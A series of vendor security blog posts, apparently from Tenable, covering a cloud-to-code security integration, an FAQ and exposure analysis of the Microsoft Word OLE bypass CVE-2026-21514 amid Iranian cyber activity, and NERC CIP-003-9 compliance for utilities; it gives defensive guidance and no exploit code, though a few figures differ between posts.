Join Tenable's Research Special Operations (RSO) Team on Tenable Connect and engage with us in the Threat Roundtable group for further discussions on the latest cyber threats.

Learn more about Tenable One, the Exposure Management Platform for the modern attack surface.

Today, cloud security teams face fragmented visibility and the challenge of prioritizing risks while identifying fix owners. A new joint solution from Tenable and OX helps you close the code-to-cloud gap from development through runtime. By combining CNAPP with deep AppSec, this integration is designed to eliminate visibility gaps and accelerate remediation.

Key takeaways

1. Bridge the cloud-to-code gap: Connect cloud exposures directly to the code and developers responsible to eliminate fragmented visibility.
2. Unified asset graph visibility: Leverage an automated code-to-cloud asset graph to correlate cloud risks with their originating service, build pipeline, and specific line of code.
3. Reachability and exploitability validation: Focus teams on real, exploitable risk by validating which vulnerabilities are actually exposed through production code paths.

Integrated for impact: Tenable and OX

The integration between Tenable Cloud Security and OX creates a unified defense system by synchronizing Tenable’s cloud risk detection and vulnerability intelligence capabilities with OX’s deep application context and exploitability analysis. By mapping Tenable’s findings – including vulnerabilities, misconfigurations, and excessive permissions – to the originating source code, the joint solution automatically correlates runtime risks and the specific developers responsible for fixing them — closing the gap between code and cloud.

Here is how the joint solution transforms your security workflow from the first line of code to runtime:

1. Catch issues early by shifting left: Tenable integrates security into infrastructure-as-code (IaC) and CI/CD pipelines, while OX identifies vulnerabilities in code and ties them to exploitability in production with its static application security testing (SAST), dynamic application security testing (DAST) and software composition analysis (SCA) capabilities. This ensures security is maintained from the first line of code, which is critical as our recent “Cloud and AI Security Risk Report 2026” found that 86% of organizations are hosting third-party code packages with critical-severity vulnerabilities.
2. Full lifecycle visibility with traceability from code to cloud: This consolidated approach provides true DevSecOps by embedding security across the entire lifecycle. OX correlates Tenable's findings to their originating service and build pipeline using a unified code-to-cloud asset graph, eliminating the blind spots that often hide in the transition from development to production.
3. Smarter prioritization: Tenable Cloud Security provides the foundational risk layer by correlating misconfigurations, vulnerabilities, and excessive permissions through its industry-leading vulnerability intelligence. OX adds application-level context and reachability analysis to validate which risks are actually exposed through production code paths. Together, they neutralize the “exposure paths” that lead to sensitive data, allowing teams to remediate based on the highest business impact rather than generic severity.
4. Accelerated remediation by routing to the right team: Identify the relevant owner for every finding directly within developer workflows. The integration pinpoints the exact line of code and the developer responsible for the fix, ensuring every alert is pre-assigned to the correct team with repository location, commit history, and risk-based priority. This integration aligns cloud security, AppSec, and engineering around shared priorities, reducing mean-time-to-remediation (MTTR) without unnecessary tool switching or handoffs.
5. Strategic exposure management: Maintain ongoing insight into app-level vulnerabilities and entitlements. This complements Tenable’s broader exposure management strategy, helping you manage the 82% of cloud workloads that currently run with known, exploited, and critical CVEs.
    

Pairing Tenable Cloud Security and OX provides code-to-cloud security across the software lifecycle 

OX: Application security with context

OX protects applications throughout their lifecycle, providing deep context to application exposures. It helps teams focus on critical AppSec issues that are exploitable, reachable, and truly impactful. 

With OX, AppSec and DevOps teams can:

• Stay in control with continuous visibility and remediation: Pinpoint app-level vulnerabilities, misconfigurations, and excessive permissions. By identifying the specific line of code and developer ownership, OX enables proactive fixes for unprotected apps.
• Prioritize with real context: Enrich runtime attack data with application context and reachability analysis to understand the root cause and target what’s truly exploitable across code, containers, and cloud configurations.
• Automate policy enforcement: Automatically fine-tune runtime protection policies based on known attack patterns and discovered weaknesses.

Tenable Cloud Security: Identity-aware CNAPP built for scale 

Part of the Tenable One exposure management platform, Tenable Cloud Security is a powerful cloud native application protection (CNAPP) solution that consolidates tools and quickly closes security gaps. It provides unified cloud security for multi-cloud and hybrid environments, pairing with the Tenable One platform to provide a single view of risk across the entire attack surface.

With Tenable Cloud Security, CISOs, DevOps and security teams can:

• See it all: Agentlessly discover every cloud asset, configuration, and identity—from IaC templates through runtime—and prioritize risks by real business impact.
• Shrink the attack surface: Continuously detect vulnerabilities, misconfigurations, and toxic privilege combinations while staying aligned with frameworks like those from the Center for Internet Security (CIS), the U.S. National Institute of Standards and Technology (NIST), and the Payment Card Industry Data Security Standard (PCI DSS).
• Right-size permissions and control access: Use cloud identity entitlement management (CIEM) to fine-tune permissions, eliminate standing privileges, and enforce just-in-time (JIT) access.
• Safeguard sensitive data and AI assets: Automatically find and classify sensitive data, such as personally identifiable information (PII) and AI assets, including models, training datasets and inference endpoints, using built‑in data security posture management (DSPM) and artificial intelligence security posture management (AI‑SPM).

Bolster your defenses: Cloud and app security, from code to cloud

Leading organizations are already combining Tenable Cloud Security and OX to unify cloud and application security, harden their environments, and reduce risk end-to-end. By connecting cloud risk to the exact code and developer responsible, this partnership eliminates ownership confusion and stops critical threats before they reach production.
 

 Learn more:

• Book a demo with Tenable
• Read about Tenable Cloud Security
• Book a demo with OX
• Read about Ox AppSec

An N-day vulnerability in Microsoft Word exposes nearly 14 million assets. Attackers can exploit this flaw to bypass security prompts, enabling deployment of malware and establishing persistent access without triggering user warnings.

Key takeaways:

1. CVE-2026-21514 is a Microsoft Word n-day that bypasses OLE and Mark-of-the-Web protections, executing payloads silently without triggering user security prompts
    
2. Tenable's exposure data analysis identified nearly 14 million affected assets across seven Tier-1 countries still vulnerable to CVE-2026-21514
    
3. Prioritize patching CVE-2026-21514 across all managed endpoints and deploy supplementary controls including OLE/COM email gateway filtering and Attack Surface Reduction rules
    

Background

Tenable conducted an exposure data analysis across seven Tier 1 countries; Israel, the United States, Bahrain, Kuwait, the United Arab Emirates, Qatar, and the Kingdom of Saudi Arabia, following Operation Epic Fury. Exposure data is derived from Tenable One scan telemetry and does not represent a complete census of all exposed assets; affected asset counts should be treated as a lower-bound indicator of actual exposure rather than a definitive total. Our asset exposure analysis identified over 15.5 million affected assets across the Tier 1 countries, with the United States accounting for 15.4 million of them. We identified that a Microsoft Word N-day, CVE-2026-21514, accounts for nearly 14 million exposed assets across the seven target countries.

This research demonstrates that threat intelligence focusing solely on conflict-specific exploitation patterns can systematically underweight the most broadly impactful vulnerabilities. By applying exposure management principles, organizations can look beyond the geopolitical narrative to patch the largest exploitable attack surface and reduce the risk of compromise by advanced persistent threats (APTs).

FAQ

What is CVE-2026-21514?

CVE-2026-21514 is a security feature bypass vulnerability in Microsoft Word. It was assigned a CVSSv3 score of 7.8 and rated important.

When was CVE-2026-21514 first disclosed?

Microsoft disclosed CVE-2026-21514 on February 10, 2026, as part of its February 2026 Patch Tuesday release.

Was CVE-2026-21514 exploited in the wild?

Yes, Microsoft confirmed active exploitation in the wild prior to the patch release. The vulnerability was discovered and reported by the Google Threat Intelligence Group, Microsoft Threat Intelligence Center (MSTIC) and Microsoft Security Response Center (MSRC).

Does exploitation require user interaction?

Yes, the user must open a malicious Word document. However, the Preview Pane is not an attack vector. Once the malicious document is opened, no further user interaction is required. The exploit bypasses the security prompts that would normally alert the user to danger. Unlike traditional macro-based attacks that trigger "Enable Content" prompts or Protected View warnings, CVE-2026-21514 executes its payload silently. The user sees the document content; the attacker gets code execution.

This distinction is critical for defenders: security awareness training that teaches employees to "not click the yellow bar" does not protect against this vulnerability, because the yellow bar never appears. The document simply opens and the payload fires.

What could an attacker do if they successfully exploit CVE-2026-21514?

Successful exploitation enables an attacker to silently bypass document security controls and execute arbitrary code with the privileges of the logged-in user. The impact spans the full spectrum: data theft, file modification, malware deployment and persistent access establishment.

What is the severity of CVE-2026-21514?

Microsoft Word is a ubiquitous enterprise word processing application deployed across virtually every industry vertical and government agency worldwide, and a core component of several Microsoft products including 365 Apps for Enterprise, Office LTSC 2021, Office LTSC 2024, and Office LTSC for Mac 2021 and 2024.

The operational severity is exceptionally high despite the 7.8 CVSSv3 score. Three factors converge to make this the highest-priority vulnerability in the current threat landscape: the massive scale of exposure (nearly 14 million affected assets), confirmed active exploitation as a zero-day and precise alignment with the phishing delivery methodology of Iran-nexus APT groups. The CISA KEV mandate required federal agencies to patch by March 3, 2026.

Why is this vulnerability noteworthy?

This flaw allows an attacker to bypass Object Linking and Embedding (OLE) and Mark-of-the-Web (MotW) protections in Microsoft Word. The vulnerability stems from improper validation of security decisions based on untrusted inputs (CWE-807). Attackers manipulate the internal XML structure of a crafted Word document to convince the application that a malicious OLE object is trustworthy, causing it to execute without displaying the "Enable Content" prompts or Protected View warnings that users are trained to watch for.

It represents the largest single attack surface in potential cyberattacks since the Operation Epic Fury conflict began, and aligns with the phishing tradecraft of Iranian APT groups. MuddyWater, for example, routinely delivers malware via malicious Office documents as seen in its Operation Olalampo campaign.

What is the exposure profile for CVE-2026-21514?

Tenable’s exposure data analysis revealed 13,988,520 affected assets for this specific vulnerability across the seven target regions, making it the largest single vulnerability exposure for potential cyberattacks since the conflict began by two orders of magnitude.

Our exposure data analysis shows that this CVSSv3 7.8 vulnerability represents a larger operational risk than CVE-2025-32433, an Erlang SSH remote code execution vulnerability with a CVSSv3 score of 10.0 affecting 296,174 assets. This is because CVE-2026-21514 has 47 times more exposed assets, confirmed active exploitation, CISA KEV status and direct alignment with the dominant Iranian APT delivery methodology. This is a clear example of why CVSS scores measure theoretical severity while exposure data measures actual attack surface.

How does CVE-2026-21514 relate to Iranian threat actors?

State-sponsored actors like MuddyWater use malicious Microsoft Office documents to deliver rapid-iteration malware. Between late January and early March 2026, MuddyWater deployed six distinct malware families across multiple campaigns, including the CHAR backdoor (Rust-based with Telegram command and control (C2)), GhostBackDoor (interactive shell), GhostFetch (first-stage downloader), HTTP_VIP (custom downloader with Flask/SQLite C2), Dindoor (Deno-based JavaScript backdoor using "Bring Your Own Runtime" evasion) and Fakeset (Python backdoor). The convergence of AI-assisted malware development tempo with the potential use of an N-day that silently bypasses document security controls represents a threat multiplication effect.

How does this vulnerability relate to the broader Operation Epic Fury threat landscape?

Operation Epic Fury has produced the first true hybrid war where kinetic infrastructure destruction and cyber operations are executing simultaneously at scale. The exposure data analysis reveals that CVE-2026-21514 is the single largest exploitable attack surface across all seven target countries, yet it received less analytic attention in initial threat intelligence products than the IP camera exploitation chain (which enables kinetic targeting) and the Fortinet perimeter chain (which provides direct network access).

The exposure data fundamentally reshapes prioritization. The IP camera campaign is the most operationally novel finding of the conflict, and a single compromised camera at a refinery can enable a missile strike that shuts down 20% of global liquified natural gas (LNG) supply. But by asset count, CVE-2026-21514 (13,988,520 assets) dwarfs the next most exposed vulnerability, CVE-2024-30088 (991,920 assets), by a factor of 14. Organizations that patch cameras but not Word are defending against the headline threat while leaving the largest door open.

What is the exposure across industry verticals?

The exposure data reveals significant concentration in verticals that are explicitly targeted by Iranian actors during Operation Epic Fury. Healthcare is the second most exposed vertical at 1.75 million affected assets, directly relevant given that Handala (the public-facing persona of Iran's Void Manticore) executed a wiper attack against medical technology company Stryker on March 12, reportedly destroying 200,000+ devices across 79 countries. Government follows at 1.1 million, Retail at 1.4 million and Manufacturing at 1.1 million. The "Other" category leads at 1.8 million.

What is the geographic distribution of exposure?

The geographic concentration is the most striking finding in the exposure data. The United States accounts for 15,447,390 of the 15,529,792 total affected assets–99.4% of the exposure. The UAE follows at 60,598, Saudi Arabia at 12,391, Israel at 9,229 and Kuwait at 184. This means U.S. organizations, particularly in healthcare, government, retail, and manufacturing, carry a disproportionate share of the exploitable surface, even though Gulf states face the most acute conflict-specific targeting.

Are patches or mitigations available for CVE-2026-21514?

Yes. Microsoft released security updates on Feb. 10, 2026, as part of its February 2026 Patch Tuesday. Updates are available via Click-to-Run for Windows versions and version 16.106.26020821 or later for Mac systems.

CISA mandated federal agencies patch by March 3, 2026. However, enterprise Word deployments are difficult to patch quickly due to change control processes, update ring configurations and the sheer scale of Microsoft 365 deployments. Non-federal organizations have no binding mandate and many remain unpatched.

Do end users need to take any steps to address this in their environment?

Yes. Organizations must take immediate action to mitigate this vulnerability. Defenders should prioritize the following steps:

• Within 24-72 hours, patch CVE-2026-21514 across all managed endpoints. This is the single largest action item by exploitable surface area
• Block or quarantine Office documents with embedded OLE/COM objects from untrusted sources at the email gateway
• Deploy Attack Surface Reduction (ASR) rules targeting common Office exploitation behaviors, including rules that block Office applications from creating child processes or executing unauthorized binaries. As a supplementary control, enforce Protected View for internet-origin documents and consider applying a registry-based killbit to restrict OLE/COM object loading as a temporary measure until patching is confirmed across the environment
• Monitor endpoints with EDR/XDR for indicators including unusual COM/OLE instantiation by WINWORD.EXE, unexpected child processes spawned by Word or outbound network connections triggered by document opens.

For organizations using Microsoft Intune for endpoint management, verify Intune for unauthorized policy changes. Handala's Stryker attack demonstrated that compromising an Intune console can be used to push destructive commands to hundreds of thousands of devices.

What is the current defender window?

Unit 42 assessed that Iran's internet connectivity dropped to 1-4% following the opening strikes of Operation Epic Fury, which is likely limiting the ability of state-sponsored actors to coordinate sophisticated operations in the near term. This creates a finite window, measured in days to weeks, for defenders to harden infrastructure before Iranian connectivity recovers and pre-positioned access is activated at scale. Every day that passes without patching CVE-2026-21514 is a day ceded to adversaries who have already demonstrated both the capability and intent to cause destructive harm at scale.

Which Tenable products can be used to address this vulnerability?

Tenable One Exposure Management Platform provides unified visibility across IT, cloud, identity, and OT environments, enabling security teams to identify CVE-2026-21514 exposures alongside other critical flaws in a single prioritized view. Tenable Vulnerability Management and Tenable Security Center include detection plugins for CVE-2026-21514 and all other CVEs referenced in the Operation Epic Fury analysis.

A list of Tenable plugins for this vulnerability can be found on the individual CVE page for CVE-2026-21514 as they’re released.

This link will display all available plugins for these vulnerabilities, including upcoming plugins in our Plugins Pipeline.

By correlating vulnerability data with asset context and threat intelligence, organizations can operationalize exposure management to find, prioritize, and secure vulnerable Microsoft Word instances at scale.

Get more information

• Operation Epic Fury: Why exposure data changes everything about Iran's cyber-kinetic campaign
• Cyber Retaliation: Analyzing Iranian Cyber Activity Following Operation Epic Fury
• Operation Epic Fury: Potential Iranian Cyber Counteroffensive Operations

Join Tenable's Research Special Operations (RSO) Team on Tenable Connect for further discussions on the latest cyber threats.

Learn more about Tenable One, the Exposure Management Platform for the modern attack surface.

Iran's retaliatory campaign following Operation Epic Fury has collapsed the boundary between physical and digital warfare. Tenable's exposure data analysis across seven target countries reveals that the largest exploitable attack surface isn't the headline threat, it's a Microsoft Word N-day affecting nearly 14 million assets.

Key takeaways:

1. Exposure data rebalances the threat picture. A Microsoft Word N-day (CVE-2026-21514) accounts for nearly 14 million of the 15.5 million affected assets across the seven target countries, two orders of magnitude more than the conflict's headline threats. Organizations that prioritize based on threat narrative alone will miss the largest exploitable attack surface. The correct approach is to prioritize by the convergence of confirmed active exploitation, quantified attack surface, per-asset criticality and alignment with documented adversary tradecraft.
    
2. The U.S. carries 99.4% of the exposure. While Gulf states face the most acute conflict-specific targeting, the United States accounts for 15.4 million of 15.5 million total affected assets. Healthcare (1.75 million) and government (1.1 million) are the most exposed verticals, both explicitly targeted by Iranian actors.
    
3. The cyber campaign will outlast the kinetic one. Iran's degraded internet connectivity (1-4%) creates a finite defender window. When connectivity recovers, pre-positioned access from MuddyWater, OilRig and other state actors becomes activatable at scale. The access obtained during these weeks will persist in networks for months or years after a ceasefire.
    
4. Hybrid targeting chains are now operational. Qatar's arrest of 10 IRGC operatives confirms that human intelligence, cyber exploitation (IP cameras for battle damage assessment), and kinetic strikes are co-dependent operations, not separate threat domains.

Background

Iran's retaliatory campaign following Operation Epic Fury (February 28, 2026) has produced the first true hybrid war where kinetic infrastructure destruction and cyber operations are executing simultaneously, at scale, across seven countries. In just fourteen days, Iranian drones and missiles struck energy infrastructure in six countries, shutting down 20% of global liquefied natural gas (LNG) supply at Qatar's Ras Laffan, halting the world's largest single-site refinery at the UAE's Ruwais (922,000 barrels per day) and repeatedly targeting Saudi Arabia's Ras Tanura and Shaybah oilfield. Two AWS data centers in the UAE were physically destroyed.

On the cyber front, the opening hours activated a multi-layered offensive. A coordinated hacktivist coalition of 12+ groups executed 149 DDoS attacks against 110 organizations across 16 countries within 72 hours. Iran-nexus actors began exploiting IP cameras across all Gulf states, Israel, Cyprus, and Lebanon within hours of the first kinetic strike — assessed as supporting battle damage assessment for missile targeting. MuddyWater deployed six new malware families in three weeks, with confirmed pre-planted backdoors in U.S. critical infrastructure. Handala executed the most significant confirmed cyber attack of the conflict, a wiper that hit medical technology company Stryker on March 12, reportedly wiping nearly 80,000 devices across 79 countries via Microsoft Intune abuse. Qatar later arrested 10 Islamic Revolutionary Guard Corps (IRGC) operatives running intelligence and sabotage cells on its soil.

There is no longer a meaningful boundary between the kinetic and cyber threat surfaces. Organizations that treat physical security and cybersecurity as separate domains are operating with an obsolete threat model.

Analysis

What exposure data tells us that threat intelligence alone doesn't

Threat intelligence naturally gravitates toward the most novel and geopolitically significant findings. In this conflict, that means the IP camera battle damage assessment campaign and the Fortinet perimeter exploitation chain dominated the analytic narrative. Both are critical, but analyzing exposure data within a specific context reveals a fundamentally different picture.

An analysis of Tenable’s asset exposure data was performed by Tenable’s Research Special Operations Team across the seven Tier 1 target countries. Exposure data is derived from Tenable One scan telemetry and does not represent a complete census of all exposed assets; affected asset counts should be treated as a lower-bound indicator of actual exposure rather than a definitive total. This analysis identified over 15.5 million affected assets in which a single vulnerability, CVE-2026-21514, a Microsoft Word N-day that bypasses Object Linking and Embedding (OLE) and Mark-of-the-Web protections without triggering user security prompts, accounts for nearly 14 million of those exposed assets. This CVE was added to the CISA Known Exploited Vulnerabilities (KEV) catalog on February 10, 2026, has functional exploit code and aligns with established tradecraft observed in Iranian-nexus operations.

The numbers surfaced out of this analysis are stark:

CVEProductCVSSv3VPRAffected AssetsCISA KEVCVE-2026-21514Microsoft Word Security Feature Bypass Vulnerability (OLE Bypass)7.87.413,988,520YesCVE-2024-30088Windows Kernel Elevation of Privilege (EoP) Vulnerability7.09.7992,920YesCVE-2025-32433Erlang/OTP SSH Remote Code Execution (RCE) Vulnerability10.010296,174NoCVE-2024-21762Fortinet FortiOS Out-of-bound Write Vulnerability in sslvpnd9.67.4158,620YesCVE-2025-59719FortiGate SSO Bypass Vulnerability9.89.033,288Yes

*Please note: Tenable’s Vulnerability Priority Rating (VPR) scores are calculated nightly. This blog post was published on March 17, 2026 and reflects VPR at that time.

The table above illustrates why CVSS scores alone are an insufficient prioritization signal: CVE-2026-21514, with a CVSS of 7.8, represents a larger operational risk than the Erlang SSH flaw at a perfect 10.0, because the Word vulnerability has 47 times more exposed assets, confirmed active exploitation, CISA KEV status and alignment with the dominant Iranian APT delivery methodology. Severity scores measure theoretical impact; exposure data measures the actual attack surface defenders need to close.

The camera CVEs, the centerpiece of the conflict-specific threat narrative, didn't appear in the top five by asset count. That doesn't mean the camera campaign is less important. A single compromised camera at a refinery can enable a missile strike that impacts global LNG supply, showcasing how the blast radius per compromised device can be orders of magnitude higher. But it does mean that a defender allocating resources solely based on the conflict's threat narrative would be optimizing for the low-frequency, high-consequence scenario while leaving the high-frequency, high-volume attack surface unaddressed.

If organizations prioritize patching of IP cameras but not Microsoft Word, the result is that they close a few doors while leaving millions of windows open. Exposure Intelligence informs and rebalances the threat picture.

Industry vertical exposure reshapes the priority picture

The exposure data adds a dimension that pure threat intelligence doesn’t fully capture. Healthcare emerges as the second most exposed vertical at 1.75 million affected assets — directly relevant given that Handala targeted Israeli healthcare institutions before the kinetic conflict began and the Stryker wiper is the largest confirmed destructive operation of the conflict. Government at 1.1 million is well-documented, but the quantified exposure validates the priority. Retail and Manufacturing at 1.3 million and 1.1 million respectively, represent supply chain and economic disruption surfaces that threat intelligence treated as secondary.

The geographic concentration is perhaps the most significant finding: the United States accounts for 15.4 million of the 15.5 million total affected assets — a 99.4% concentration. This directly challenges the implicit geographic framing that focused five of seven country assessments on Gulf states and Israel. From a threat intelligence perspective, the Gulf states face the most acute conflict-specific targeting. From an exposure perspective, the U.S. has 255 times more exploitable assets than the next most exposed country. Both frames are necessary. Neither alone is sufficient.

What the Qatar IRGC cell arrest reveals about hybrid targeting chains

Qatar's arrest of 10 IRGC-linked operatives on March 4, 2026 is the only confirmed human intelligence and sabotage operation disclosed by any of the seven target countries. The arrested individuals comprised two distinct cells: seven tasked with intelligence collection targeting military infrastructure (assessed to include Al Udeid Air Base and potentially QatarEnergy facilities) and three trained in drone operations assigned to carry out acts of sabotage.

This reveals a targeting chain that converges human, cyber and kinetic operations: human operatives collect infrastructure data, Iranian analysts develop targeting packages, IP camera exploitation provides visual confirmation and battle damage assessment and kinetic strikes execute with precision.

For the other six target countries, the Qatar disclosure raises an uncomfortable question: if Iran pre-positioned cells in Qatar, historically its friendliest Gulf Cooperation Council interlocutor, what cells exist in countries with more adversarial relationships? For cybersecurity teams, the implication is concrete: threat models that account only for remote cyber intrusion are incomplete. The physical and cyber reconnaissance feeding kinetic strikes are co-dependent operations, and defenders need to treat IoT devices at critical infrastructure sites as potential military targeting aids, not just IT assets.

The analytic outlook: this will get worse before it gets better

The cyber campaign will outlast the kinetic one. This isn't a forecast, it's a structural feature of Iranian cyber operations confirmed across every previous escalation cycle. The hacktivist collectives will sustain activity as long as the conflict provides narrative energy. The state-sponsored actors will retool and return regardless of a ceasefire.

Three near-term escalation scenarios demand attention:

• Iranian internet connectivity recovery. Unit 42 assessed that Iran's internet connectivity at 1-4% is likely limiting the ability of state-sponsored actors to coordinate sophisticated operations. When connectivity recovers, MuddyWater and OilRig pre-positioned access becomes activatable. The near 14 million Word-vulnerable assets represent a ready-made, readily exploitable target surface for phishing campaigns the moment coordination capacity returns.
• A Shamoon-class wiper event. Handala has the capability (the Stryker attack proved it), the intent (fabricated Aramco breach claim) and the precedent (the 2012 Shamoon attack wiped 30,000 Saudi Aramco workstations). Detection of wiper staging in energy networks would trigger immediate escalation.
• Mass exploitation of CVE-2026-21514 could serve as a delivery vehicle for Iranian payloads. With nearly 14 million exposed assets, functional exploit code, and a bypass mechanism that defeats user-facing security prompts, this vulnerability could serve as the initial access vector for a large-scale espionage or pre-positioning campaign — not just in the Gulf, but primarily in the United States, where 99.4% of the exposed surface sits.

The exposure data introduces a fourth scenario that threat intelligence alone wouldn't surface: the convergence of MuddyWater's AI-assisted malware development, an N-day document delivery mechanism and a nearly 14 million-node attack surface. This risk multiplication demands immediate defensive action across all seven target countries.

The structural factors that persist beyond any ceasefire

Even after the shooting stops, several risk conditions will remain: the concentration of global LNG supply in a single facility (Ras Laffan), the vulnerability of cloud data centers to kinetic strikes (AWS UAE), the pervasive deployment of unpatched IoT devices at critical infrastructure sites, the Iranian state's five-year investment in FortiGate access across the region and the near 14-million-asset Word vulnerability surface that exists independently of any conflict.

What defenders should do right now

The defender window created by Iran's degraded internet connectivity is finite and narrowing. Priority actions, sorted by the intersection of active exploitation, affected asset count and per-device criticality:

Within 24–72 hours (by attack surface scale). Patch CVE-2026-21514 (Microsoft Word OLE bypass). More detailed guidance for this vulnerability can be found in our blog, FAQ on CVE-2026-21514: OLE bypass N-Day in Microsoft Word.

Additional Actions

• Block or quarantine Office documents with embedded OLE/COM objects from untrusted sources
• Deploy Attack Surface Reduction (ASR) rules targeting Office exploitation behaviors
• Patch or isolate all Hikvision and Dahua cameras (six CVEs)
• Verify FortiGate patching through January 2026

Within 1–2 weeks. Patch CVE-2024-30088 (Windows Kernel EoP)

• 992,000 affected assets
• Exploited by the OilRig threat group

Additional Actions

• Check FortiGate devices for symlink persistence (158,000 assets, surviving previous patches).
• Hunt for MuddyWater indicators (Deno runtime, Telegram API, Rclone, code-signing certificates).
• Hunt for OilRig indicators (password filter DLLs, Exchange exfiltration, DNS tunneling).
• Monitor Intune for unauthorized policy changes per Handala's Stryker attacks.

Strategic posture. The U.S. accounts for 99.4% of total affected asset exposure. U.S. organizations — particularly in healthcare (1.75 million assets), government (1.1 million), retail (1.4 million), and manufacturing (1.1 million) — carry a disproportionate share of the exploitable surface. Gulf organizations face the most acute conflict-specific targeting but lower absolute exposure numbers. Both need to act, but the scale of the U.S. remediation challenge is fundamentally different.

The bottom line

Operation Epic Fury has collapsed the distinction between physical and digital warfare, between conflict-zone risk and global enterprise exposure and between novel state-sponsored tradecraft and unpatched commodity vulnerabilities. The analytic process itself exposed a critical lesson: threat intelligence and exposure data are necessary complements, neither alone produces a complete risk picture.

Organizations that build defensive strategies from threat intelligence alone will optimize for the most interesting threats. Organizations that build from exposure data alone will optimize for the largest numbers. The correct approach is the intersection: prioritize by the convergence of confirmed active exploitation, quantified attack surface, per-asset criticality and alignment with documented adversary tradecraft.

The kinetic campaign may eventually reach a ceasefire. The cyber campaign will not. The access obtained during these weeks, through compromised firewalls, pre-planted backdoors, exploited cameras and weaponized documents, will persist in Gulf and U.S. networks for months or years after the last missile is intercepted. The time to act is now, while the adversary's coordination capacity is still degraded and before the second wave arrives.

Identifying affected systems

Tenable offers several solutions to help identify potential exposures and attack paths related to the vulnerabilities and threat actors discussed in this blog post. Tenable One Exposure Management Platform provides unified visibility across IT, cloud, identity, and OT environments, enabling security teams to identify CVE-2026-21514, FortiGate, and IoT camera exposures in a single view. Tenable Vulnerability Management and Tenable Security Center include plugins to detect all CVEs referenced in this analysis. Tenable One OT Exposure can identify vulnerable Hikvision and Dahua camera deployments at critical infrastructure sites.

A list of Tenable plugins for these vulnerabilities can be found on the individual CVE pages for CVE-2026-21514, CVE-2024-30088, CVE-2025-32433, CVE-2024-21762 and CVE-2025-59719 as they’re released. This link will display all available plugins for these vulnerabilities, including upcoming plugins in our Plugins Pipeline.

Get more information

• Tenable blog: FAQ on CVE-2026-21514: OLE bypass N-Day in Microsoft Word
• Tenable blog: Operation Epic Fury: Potential Iranian Cyber Counteroffensive Operations
• Tenable blog: Cyber Retaliation: Analyzing Iranian Cyber Activity Following Operation Epic Fury
• Tenable blog: Microsoft’s February 2026 Patch Tuesday Addresses 54 CVEs (CVE-2026-21510, CVE-2026-21513)
• Tenable blog: Frequently Asked Questions About Iranian Cyber Operations
• Tenable blog: CVE-2025-32433: Erlang/OTP SSH Unauthenticated Remote Code Execution Vulnerability
• Tenable blog: CVE-2024-21762: Critical Fortinet FortiOS Out-of-Bound Write SSL VPN Vulnerability

Join Tenable's Research Special Operations (RSO) Team on Tenable Connect for further discussions on the latest cyber threats.

Learn more about Tenable One, the Exposure Management Platform for the modern attack surface.

Explore key cybersecurity requirements and implementation deadlines for electric power utilities included in the NERC CIP-003-9 standard for Low-Impact BES (Bulk Electric System) Cyber Systems, and how Tenable can help deliver the comprehensive visibility required to ensure compliance.

Key takeaways

1. NERC CIP-003-9 introduces specific requirements for electric power utilities and related sectors with low-impact BES cyber systems.
2. Many municipally owned utilities, public power authorities and state or locally operated transmission entities fall within the scope of Low Impact BES Cyber Systems and will be impacted by these revisions.
3. With the first major implementation deadline on April 1, 2026, and others in 2028 and 2030, entities must begin planning and implementation now to avoid audit friction.
4. Tenable OT Security addresses core NERC CIP requirements through continuous asset discovery, anomaly detection with real-time alerts, data retention, and access control.

Navigating the road to NERC CIP compliance: The looming April deadline

Electric power utilities in North America are under pressure to comply with the latest security provisions from the North American Electric Reliability Corporation (NERC). The newest set of provisions will be implemented over the next four years, starting in April of this year.

Specifically, the NERC Critical Infrastructure Protection (CIP) Reliability Standard CIP-003-9 becomes officially enforceable on April 1, 2026. As part of the Supply Chain Low-Impact Revisions, this standard introduces specific requirements for electric power utilities and related sectors with low-impact BES (Bulk Electric System) cyber systems. This update is particularly significant for municipally owned utilities and cooperatives that may have previously operated under lighter oversight but are now pulled into higher compliance tiers due to recent updates like CIP-002-7.

At a high level, the BES includes the electrical generation resources, transmission lines, and interconnections generally operated at voltages of 100 kV or higher. Historically, “low-impact" assets were subject to lighter oversight, but the evolving threat landscape—specifically targeting the supply chain—has necessitated a more rigorous approach.

CIP-003 requires organizations to specify consistent and sustainable security management controls that establish responsibility and accountability to protect BES Cyber Systems against compromise that could lead to misoperation or instability in the BES. 

The NERC CIP compliance roadmap: 2026, 2028, and 2030

The transition to full compliance isn't a one-time event; it's a tiered rollout. Understanding these milestones is critical for budget and resource planning:

DeadlineMilestoneFocus AreaApril 1, 2026Enforcement beginsImplementation of Supply Chain Low-Impact Revisions (CIP-003-9).2028 horizonExpanded controlsFocus shifts toward deeper evidence collection and refined incident response reporting.2030 and beyondFull maturityContinuous monitoring and automated audit trails become the expected standard.How Tenable OT Security simplifies NERC CIP alignment

Meeting NERC CIP requirements can be a manual, spreadsheet-heavy nightmare—especially for local government entities that lack the massive compliance departments found in larger investor-owned utilities. Tenable OT Security acts as a force multiplier, allowing small IT teams to automate asset discovery and evidence collection without exhausting limited public sector budgets. Tenable OT Security is designed to help organizations meet these technical and operational demands with confidence, turning a compliance burden into a strategic advantage.

We address the core pillars of the standard through:

• Asset discovery: Identify every device in your environment—including those deep in the "low-impact" layers—to ensure nothing is left unmanaged.
• Anomaly detection: Real-time monitoring to catch unauthorized configuration changes or suspicious network behavior that could signal a supply chain breach.
• Data retention and reporting: Automatically generate the reports needed for audits, reducing the "compliance fire drill" that usually occurs when regulators knock.
• Access control and exposure management: Prioritize the risks that actually matter in terms of uptime and cyber resilience, ensuring you are both compliant and secure.

Tenable OT Security supports compliance with CIP-003 through real-time alerts designed to help security teams enforce security management policies.
 

An example of how a user can leverage the Compliance Dashboard in Tenable OT Security with multiple security frameworks selected to evaluate, monitor, and report on compliance with relevant regulatory compliance frameworks and industry standards. 

Tenable OT Security alerts in real-time on any unauthorized access activities to the OT environment as well as enabling the enforcement of security management policies. In addition, it fully audits all OT activities, including controller engineering activities like logic updates, configuration changes and firmware uploads/downloads. Tenable OT Security tracks the source of the activity, the exact commands used, the devices impacted and the specific impact to these devices, as well as the date and time of each activity. This comprehensive audit trail enables grid owners and operators to establish responsibility and accountability. It also helps in the prevention of malicious or erroneous activities that could lead to misoperation or instability of the plant.

The Tenable One advantage

While NERC CIP focuses specifically on the grid, modern utilities don’t operate in a vacuum. The convergence of IT and OT means your cyber exposure is interconnected. 

